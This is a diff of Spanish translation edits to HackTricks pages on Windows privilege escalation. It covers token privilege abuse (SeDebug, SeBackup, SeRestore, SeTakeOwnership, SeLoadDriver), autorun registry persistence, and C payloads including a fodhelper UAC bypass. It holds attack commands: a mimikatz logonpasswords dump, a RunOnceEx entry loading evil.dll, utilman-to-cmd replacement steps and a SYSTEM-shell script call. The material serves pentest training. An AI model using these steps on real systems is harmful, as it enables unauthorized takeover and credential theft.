+Si tienes habilitado este token, puedes usar **KERB_S4U_LOGON** para obtener un **token de suplantación** para cualquier otro usuario sin conocer las credenciales, **agregar un grupo arbitrario** (administradores) al token, establecer el **nivel de integridad** del token a "**medio**", y asignar este token al **hilo actual** (SetThreadToken). ### SeBackupPrivilege -El sistema se ve obligado a **otorgar todo el acceso de lectura** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, tras lo cual, herramientas como "**psexec**" o "**wmiexec**" pueden ser utilizadas con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\ +El sistema se ve obligado a **otorgar acceso de lectura total** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, tras lo cual, herramientas como "**psexec**" o "**wmiexec**" pueden ser utilizadas con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\ Puedes **abusar de este privilegio** con: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) @@ -50,11 +50,11 @@ Puedes **abusar de este privilegio** con: ### SeRestorePrivilege -Este privilegio proporciona permiso para **acceso de escritura** a cualquier archivo del sistema, independientemente de la Lista de Control de Acceso (ACL) del archivo. Abre numerosas posibilidades para la escalación, incluyendo la capacidad de **modificar servicios**, realizar DLL Hijacking, y establecer **depuradores** a través de Opciones de Ejecución de Archivos de Imagen entre varias otras técnicas. +Este privilegio proporciona permiso para **acceso de escritura** a cualquier archivo del sistema, independientemente de la Lista de Control de Acceso (ACL) del archivo. Abre numerosas posibilidades para la escalación, incluyendo la capacidad de **modificar servicios**, realizar DLL Hijacking y establecer **depuradores** a través de Opciones de Ejecución de Archivos de Imagen, entre varias otras técnicas. ### SeCreateTokenPrivilege -SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usuario posee la capacidad de suplantar tokens, pero también en ausencia de SeImpersonatePrivilege. Esta capacidad depende de la habilidad para suplantar un token que representa al mismo usuario y cuyo nivel de integridad no excede el del proceso actual. +SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usuario tiene la capacidad de suplantar tokens, pero también en ausencia de SeImpersonatePrivilege. Esta capacidad depende de la habilidad para suplantar un token que representa al mismo usuario y cuyo nivel de integridad no excede el del proceso actual. **Puntos Clave:** @@ -66,17 +66,17 @@ SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usu Este privilegio permite **cargar y descargar controladores de dispositivos** con la creación de una entrada en el registro con valores específicos para `ImagePath` y `Type`. Dado que el acceso de escritura directo a `HKLM` (HKEY_LOCAL_MACHINE) está restringido, se debe utilizar `HKCU` (HKEY_CURRENT_USER) en su lugar. Sin embargo, para que `HKCU` sea reconocible por el núcleo para la configuración del controlador, se debe seguir un camino específico. -Este camino es `\Registry\User\\System\CurrentControlSet\Services\DriverName`, donde `` es el Identificador Relativo del usuario actual. Dentro de `HKCU`, se debe crear todo este camino, y se deben establecer dos valores: +Este camino es `\Registry\User\\System\CurrentControlSet\Services\DriverName`, donde `` es el Identificador Relativo del usuario actual. Dentro de `HKCU`, se debe crear todo este camino y establecer dos valores: - `ImagePath`, que es la ruta al binario que se va a ejecutar - `Type`, con un valor de `SERVICE_KERNEL_DRIVER` (`0x00000001`). **Pasos a Seguir:** -1. Acceder a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido. -2. Crear el camino `\Registry\User\\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `` representa el Identificador Relativo del usuario actual. -3. Establecer el `ImagePath` a la ruta de ejecución del binario. -4. Asignar el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`). +1. Accede a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido. +2. Crea el camino `\Registry\User\\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `` representa el Identificador Relativo del usuario actual. +3. Establece el `ImagePath` a la ruta de ejecución del binario. +4. Asigna el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`). ```python # Example Python code to set the registry values import winreg as reg @@ -125,7 +125,7 @@ mimikatz # sekurlsa::logonpasswords ``` #### RCE -Si quieres obtener un shell `NT SYSTEM`, podrías usar: +Si deseas obtener un shell de `NT SYSTEM`, podrías usar: - [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) - [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index 48c56a6cb..6683f584f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -1,4 +1,4 @@ -# Abuso de Tokens +# Abusing Tokens {{#include ../../../banners/hacktricks-training.md}} @@ -14,7 +14,7 @@ Si **no sabes qué son los Tokens de Acceso de Windows**, lee esta página antes ### SeImpersonatePrivilege -Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un manejador para él. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un handle para ello. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} ../roguepotato-and-printspoofer.md @@ -32,16 +32,16 @@ Con el token, puedes crear un **nuevo proceso** con 'CreateProcessAsUser' o crea ### SeTcbPrivilege -Si tienes habilitado este token, puedes usar **KERB_S4U_LOGON** para obtener un **token de suplantación** para cualquier otro usuario sin conocer las credenciales, **agregar un grupo arbitrario** (administradores) al token, establecer el **nivel de integridad** del token en "**medio**", y asignar este token al **hilo actual** (SetThreadToken). +Si tienes habilitado este token, puedes usar **KERB_S4U_LOGON** para obtener un **token de suplantación** para cualquier otro usuario sin conocer las credenciales, **agregar un grupo arbitrario** (administradores) al token, establecer el **nivel de integridad** del token a "**medio**", y asignar este token al **hilo actual** (SetThreadToken). ### SeBackupPrivilege -El sistema se ve obligado a **otorgar todo el acceso de lectura** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, después de lo cual, herramientas como "**psexec**" o "**wmiexec**" pueden ser utilizadas con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\ +El sistema se ve obligado a **otorgar todo acceso de lectura** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, tras lo cual, herramientas como "**psexec**" o "**wmiexec**" pueden ser utilizadas con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\ Puedes **abusar de este privilegio** con: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) -- siguiendo a **IppSec** en [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) +- siguiendo **IppSec** en [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) - O como se explica en la sección **escalando privilegios con Operadores de Respaldo** de: {{#ref}} @@ -60,7 +60,7 @@ SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usu - **Suplantación sin SeImpersonatePrivilege:** Es posible aprovechar SeCreateTokenPrivilege para EoP al suplantar tokens bajo condiciones específicas. - **Condiciones para la Suplantación de Tokens:** La suplantación exitosa requiere que el token objetivo pertenezca al mismo usuario y tenga un nivel de integridad que sea menor o igual al nivel de integridad del proceso que intenta la suplantación. -- **Creación y Modificación de Tokens de Suplantación:** Los usuarios pueden crear un token de suplantación y mejorarlo agregando un SID (Identificador de Seguridad) de un grupo privilegiado. +- **Creación y Modificación de Tokens de Suplantación:** Los usuarios pueden crear un token de suplantación y mejorarlo añadiendo un SID (Identificador de Seguridad) de un grupo privilegiado. ### SeLoadDriverPrivilege @@ -129,7 +129,7 @@ Si quieres obtener un shell de `NT SYSTEM`, podrías usar: - [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) - [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) -- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) +- [**psgetsys.ps1 (Script de Powershell)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) ```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) @@ -140,13 +140,13 @@ El `SeManageVolumePrivilege` es un derecho de usuario de Windows que permite a l Es posible aprovechar este privilegio para manipular volúmenes, lo que lleva a un acceso completo al volumen. El [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) se puede utilizar para dar acceso completo a todos los usuarios para C:\ -Además, el proceso descrito en [este artículo de Medium](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) describe el uso de DLL hijacking junto con `SeManageVolumePrivilege` para escalar privilegios. Al colocar un DLL de carga útil `C:\Windows\System32\wbem\tzres.dll` y llamar a `systeminfo`, se ejecuta el dll. +Además, el proceso descrito en [este artículo de Medium](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) describe el uso de DLL hijacking en conjunto con `SeManageVolumePrivilege` para escalar privilegios. Al colocar un DLL de carga útil `C:\Windows\System32\wbem\tzres.dll` y llamar a `systeminfo`, se ejecuta el dll. ## Check privileges ``` whoami /priv ``` -Los **tokens que aparecen como Deshabilitados** pueden ser habilitados, de hecho, puedes abusar de los tokens _Habilitados_ y _Deshabilitados_. +Los **tokens que aparecen como Deshabilitados** pueden ser habilitados, en realidad puedes abusar de los tokens _Habilitados_ y _Deshabilitados_. ### Habilitar Todos los tokens @@ -155,21 +155,21 @@ Si tienes tokens deshabilitados, puedes usar el script [**EnableAllTokenPrivs.ps .\EnableAllTokenPrivs.ps1 whoami /priv ``` -O el **script** incrustado en este [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). +O el **script** incrustado en esta [**publicación**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). ## Tabla -Hoja de trucos completa de privilegios de token en [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), el resumen a continuación solo enumerará formas directas de explotar el privilegio para obtener una sesión de administrador o leer archivos sensibles. +Hoja de trucos de privilegios de token completa en [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), el resumen a continuación solo enumerará formas directas de explotar el privilegio para obtener una sesión de administrador o leer archivos sensibles. | Privilegio | Impacto | Herramienta | Ruta de ejecución | Observaciones | | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros | _"Permitiría a un usuario impersonar tokens y escalar privilegios al sistema nt utilizando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_ | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto. | +| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros | _"Permitiría a un usuario impersonar tokens y escalar privilegios a nt system usando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_ | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto. | | **`SeBackup`** | **Amenaza** | _**Comandos integrados**_ | Leer archivos sensibles con `robocopy /b` |

- Puede ser más interesante si puedes leer %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (y robocopy) no son útiles cuando se trata de archivos abiertos.

- Robocopy requiere tanto SeBackup como SeRestore para trabajar con el parámetro /b.

| | **`SeCreateToken`** | _**Admin**_ | herramienta de terceros | Crear un token arbitrario que incluya derechos de administrador local con `NtCreateToken`. | | | **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicar el token de `lsass.exe`. | Script disponible en [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | herramienta de terceros |

1. Cargar un controlador de kernel defectuoso como szkg64.sys
2. Explotar la vulnerabilidad del controlador

Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado ftlMC. es decir: fltMC sysmondrv

|

1. La vulnerabilidad de szkg64 está listada como CVE-2018-15732
2. El szkg64 código de explotación fue creado por Parvez Anwar

| -| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.
2. Habilitar el privilegio con Enable-SeRestorePrivilege.
3. Renombrar utilman.exe a utilman.old
4. Renombrar cmd.exe a utilman.exe
5. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algunos software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio

| -| **`SeTakeOwnership`** | _**Admin**_ | _**Comandos integrados**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Renombrar cmd.exe a utilman.exe
4. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algunos software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.

| +| **`SeLoadDriver`** | _**Admin**_ | herramienta de terceros |

1. Cargar un controlador de kernel con errores como szkg64.sys
2. Explotar la vulnerabilidad del controlador

Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado ftlMC. es decir: fltMC sysmondrv

|

1. La vulnerabilidad de szkg64 está listada como CVE-2018-15732
2. El szkg64 código de explotación fue creado por Parvez Anwar

| +| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.
2. Habilitar el privilegio con Enable-SeRestorePrivilege.
3. Renombrar utilman.exe a utilman.old
4. Renombrar cmd.exe a utilman.exe
5. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algún software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio

| +| **`SeTakeOwnership`** | _**Admin**_ | _**Comandos integrados**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Renombrar cmd.exe a utilman.exe
4. Bloquear la consola y presionar Win+U

|

El ataque puede ser detectado por algún software antivirus.

El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.

| | **`SeTcb`** | _**Admin**_ | herramienta de terceros |

Manipular tokens para incluir derechos de administrador local. Puede requerir SeImpersonate.

Por verificar.

| | ## Referencia diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md index ac83f979f..4b3d7e864 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md @@ -6,7 +6,7 @@ ## WMIC -**Wmic** se puede usar para ejecutar programas en **inicio**. Vea qué binarios están programados para ejecutarse al inicio con: +**Wmic** se puede usar para ejecutar programas en **inicio**. Ver qué binarios están programados para ejecutarse al inicio con: ```bash wmic startup get caption,command 2>nul & ^ Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl @@ -35,7 +35,8 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" ``` -> **FYI**: Las vulnerabilidades de *traversal de ruta* en la extracción de archivos (como la que se abusó en WinRAR antes de la versión 7.13 – CVE-2025-8088) pueden ser aprovechadas para **depositar cargas útiles directamente dentro de estas carpetas de Inicio durante la descompresión**, lo que resulta en la ejecución de código en el próximo inicio de sesión del usuario. Para un análisis profundo de esta técnica, consulta: +> **FYI**: Las vulnerabilidades de *traversal de ruta* en la extracción de archivos (como la que se abusó en WinRAR antes de la 7.13 – CVE-2025-8088) pueden ser aprovechadas para **depositar cargas útiles directamente dentro de estas carpetas de Inicio durante la descompresión**, resultando en la ejecución de código en el próximo inicio de sesión del usuario. Para un análisis profundo de esta técnica, consulta: + {{#ref}} ../../generic-hacking/archive-extraction-path-traversal.md @@ -50,7 +51,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" ### Ejecuciones -**Conocido comúnmente** como registro AutoRun: +Registro de AutoRun **comúnmente conocido**: - `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` - `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce` @@ -87,7 +88,7 @@ En Windows Vista y versiones posteriores, las claves de registro **Run** y **Run reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll" ``` > [!TIP] -> **Explotación 1**: Si puedes escribir dentro de cualquiera de los registros mencionados en **HKLM**, puedes escalar privilegios cuando un usuario diferente inicia sesión. +> **Explotación 1**: Si puedes escribir dentro de cualquiera de los registros mencionados dentro de **HKLM**, puedes escalar privilegios cuando un usuario diferente inicia sesión. > [!TIP] > **Explotación 2**: Si puedes sobrescribir cualquiera de los binarios indicados en cualquiera de los registros dentro de **HKLM**, puedes modificar ese binario con una puerta trasera cuando un usuario diferente inicia sesión y escalar privilegios. @@ -182,7 +183,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVers > [!TIP] > Si puedes sobrescribir el valor del registro o el binario, podrás escalar privilegios. -### Configuraciones de Política +### Configuración de Políticas - `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer` - `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer` @@ -198,7 +199,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion ### Cambiando el Símbolo del Sistema en Modo Seguro -En el Registro de Windows bajo `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, hay un valor **`AlternateShell`** que por defecto está configurado como `cmd.exe`. Esto significa que cuando eliges "Modo Seguro con Símbolo del Sistema" durante el inicio (presionando F8), se utiliza `cmd.exe`. Sin embargo, es posible configurar tu computadora para que inicie automáticamente en este modo sin necesidad de presionar F8 y seleccionarlo manualmente. +En el Registro de Windows bajo `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, hay un valor **`AlternateShell`** que está configurado por defecto a `cmd.exe`. Esto significa que cuando eliges "Modo Seguro con Símbolo del Sistema" durante el inicio (presionando F8), se utiliza `cmd.exe`. Sin embargo, es posible configurar tu computadora para que inicie automáticamente en este modo sin necesidad de presionar F8 y seleccionarlo manualmente. Pasos para crear una opción de arranque para iniciar automáticamente en "Modo Seguro con Símbolo del Sistema": @@ -232,13 +233,13 @@ Dentro de estas claves, existen varias subclaves, cada una correspondiente a un - **IsInstalled:** - `0` indica que el comando del componente no se ejecutará. -- `1` significa que el comando se ejecutará una vez para cada usuario, que es el comportamiento predeterminado si falta el valor `IsInstalled`. +- `1` significa que el comando se ejecutará una vez por cada usuario, que es el comportamiento predeterminado si falta el valor `IsInstalled`. - **StubPath:** Define el comando que será ejecutado por Active Setup. Puede ser cualquier línea de comando válida, como lanzar `notepad`. **Perspectivas de Seguridad:** -- Modificar o escribir en una clave donde **`IsInstalled`** esté configurado como `"1"` con un **`StubPath`** específico puede llevar a la ejecución no autorizada de comandos, potencialmente para escalada de privilegios. -- Alterar el archivo binario referenciado en cualquier valor de **`StubPath`** también podría lograr escalada de privilegios, dado que se tengan los permisos suficientes. +- Modificar o escribir en una clave donde **`IsInstalled`** esté configurado como `"1"` con un **`StubPath`** específico puede llevar a la ejecución no autorizada de comandos, potencialmente para la escalada de privilegios. +- Alterar el archivo binario referenciado en cualquier valor de **`StubPath`** también podría lograr la escalada de privilegios, dado que se tengan los permisos suficientes. Para inspeccionar las configuraciones de **`StubPath`** a través de los componentes de Active Setup, se pueden usar estos comandos: ```bash diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md index 94fd54f8f..5a7b7f553 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md +++ b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Esta página recopila **fragmentos de C pequeños y autónomos** que son útiles durante la Escalación de Privilegios Local en Windows o post-explotación. Cada payload está diseñado para ser **amigable con copiar y pegar**, requiere solo la API de Windows / tiempo de ejecución de C, y se puede compilar con `i686-w64-mingw32-gcc` (x86) o `x86_64-w64-mingw32-gcc` (x64). +Esta página recopila **fragmentos de C pequeños y autónomos** que son útiles durante la Escalación de Privilegios Local en Windows o post-explotación. Cada payload está diseñado para ser **amigable para copiar y pegar**, requiere solo la API de Windows / tiempo de ejecución de C, y se puede compilar con `i686-w64-mingw32-gcc` (x86) o `x86_64-w64-mingw32-gcc` (x64). > ⚠️ Estos payloads asumen que el proceso ya tiene los privilegios mínimos necesarios para realizar la acción (por ejemplo, `SeDebugPrivilege`, `SeImpersonatePrivilege`, o contexto de integridad media para un bypass de UAC). Están destinados a **entornos de red team o CTF** donde explotar una vulnerabilidad ha permitido la ejecución de código nativo arbitrario. @@ -20,14 +20,14 @@ return 0; ``` --- -## UAC Bypass – `fodhelper.exe` Registro Hijack (Integridad Media → Alta) +## Bypass de UAC – Secuestro de Registro de `fodhelper.exe` (Integridad Media → Alta) Cuando se ejecuta el binario de confianza **`fodhelper.exe`**, consulta la ruta del registro a continuación **sin filtrar el verbo `DelegateExecute`**. Al plantar nuestro comando bajo esa clave, un atacante puede eludir UAC *sin* dejar un archivo en el disco. *Ruta del registro consultada por `fodhelper.exe`* ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -Un PoC mínimo que abre un `cmd.exe` elevado: +Una PoC mínima que abre un `cmd.exe` elevado: ```c // x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c #define _CRT_SECURE_NO_WARNINGS @@ -115,6 +115,7 @@ return 0; } ``` Para una explicación más profunda de cómo funciona eso, consulta: + {{#ref}} sedebug-+-seimpersonate-copy-token.md {{#endref}}